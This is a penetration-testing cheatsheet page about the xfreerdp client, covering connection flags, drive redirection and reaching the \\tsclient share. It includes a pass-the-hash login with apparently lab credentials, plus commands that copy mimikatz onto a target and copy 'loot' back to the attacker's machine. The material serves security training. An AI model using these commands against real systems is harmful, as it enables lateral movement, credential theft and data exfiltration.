repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
xfreerdp.mdMarkdown105 lines4.5 KiBsource raw download

title: "xfreerdp" description: "FreeRDP command-line RDP client โ€” connection flags, drive redirection, and finding the \tsclient shared folder from a CLI-only Windows session." category: tools tags: ["tools", "rdp", "lateral-movement", "file-transfers"] tools: ["FreeRDP"] difficulty: beginner updated: "2026-08-29"#

๐Ÿ–ฅ๏ธ xfreerdp Cheat Sheet#


๐Ÿ“– Connecting#

# โ”€โ”€ Basic connection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!'

# โ”€โ”€ Domain account + port + ignore cert prompts โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
xfreerdp3 /v:172.16.8.20:3389 /d:inlanefreight.local /u:hporter /p:'Gr8hambino!' /cert:ignore

# โ”€โ”€ Pass-the-hash โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
xfreerdp3 /v:172.16.8.20 /u:hporter /pth:2b576acbe6bcfda7294d6bd18041b8fe /cert:ignore

# โ”€โ”€ Useful quality-of-life flags โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
  /cert:ignore \            # don't prompt on self-signed certs
  +clipboard \              # shared clipboard both ways
  /dynamic-resolution \     # resize window = resize session
  /size:1920x1080 \         # or fixed resolution ( /f for fullscreen )
  /admin                    # console session (mstsc /admin equivalent)

โš ๏ธ FreeRDP warns that /p exposes the password in the process list. Use /args-from:file (all flags in a file) or omit /p and type it at the prompt on shared systems.


๐Ÿ“ Drive Redirection โ€” Share a Local Folder#

# โ”€โ”€ Share /home/daemon-sec/void as a drive named "home" โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
  /drive:home,/home/daemon-sec/void

# โ”€โ”€ Path with spaces: quote the whole path part โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
  /drive:tools,"/home/daemon-sec/voidwalker/tools/windows/ad"

# โ”€โ”€ Syntax:  /drive:<NAME_ON_WINDOWS>,<LOCAL_LINUX_PATH> โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

The name you choose (home, tools, โ€ฆ) is how the share appears on the Windows side.


๐Ÿ” Finding the Shared Folder on Windows#

GUI session#

Open Explorer โ†’ This PC โ€” the share shows up as a Redirected drive named e.g. home on AZRAEL. It's also reachable directly via the UNC path below.

CLI-only session (Server Core, restricted desktop, cmd.exe window)#

The share is not a drive letter โ€” it lives under the \\tsclient\ UNC path:

:: List all redirected drives (name you passed to /drive:)
dir \\tsclient\

:: Browse the share
dir \\tsclient\home

:: Copy tool from Kali โ†’ target
copy \\tsclient\home\mimikatz.exe C:\Temp\mimikatz.exe

:: Exfiltrate loot target โ†’ Kali
copy C:\Temp\loot.txt \\tsclient\home\loot.txt
# โ”€โ”€ PowerShell equivalents โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ChildItem \\tsclient\home
Copy-Item \\tsclient\home\tool.exe C:\Temp\
Copy-Item C:\Temp\loot.txt \\tsclient\home\

# โ”€โ”€ See redirected drives as PSDrives โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
net use
Get-PSDrive -PSProvider FileSystem

๐Ÿ’ก No \\tsclient showing? Drive redirection can be disabled by GPO (Do not allow drive redirection) or you forgot /drive: on connect โ€” disconnect and reconnect with it. Also try net use to confirm what the session actually mounted.


๐ŸŽฏ Why This Beats Other Transfer Methods#


โœ… xfreerdp complete.